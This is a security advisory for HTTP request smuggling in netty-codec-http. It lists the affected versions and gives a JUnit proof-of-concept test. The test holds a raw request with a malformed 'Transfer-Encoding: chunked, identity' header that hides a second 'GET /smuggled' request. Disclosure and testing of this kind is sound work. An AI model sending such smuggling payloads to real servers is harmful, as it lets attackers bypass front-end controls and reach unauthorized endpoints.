HTTP Request Smuggling Affecting io.netty:netty-codec-http package, versions [,4.1.133.Final)[4.2.0.Alpha1,4.2.13.Final)

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling when parsed HTTP requests contain malformed Transfer-Encoding headers. An attacker can inject unauthorized HTTP requests by crafting a request with a Transfer-Encoding: chunked, identity header, which is incorrectly interpreted, allowing the attacker to smuggle additional requests through the connection.

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

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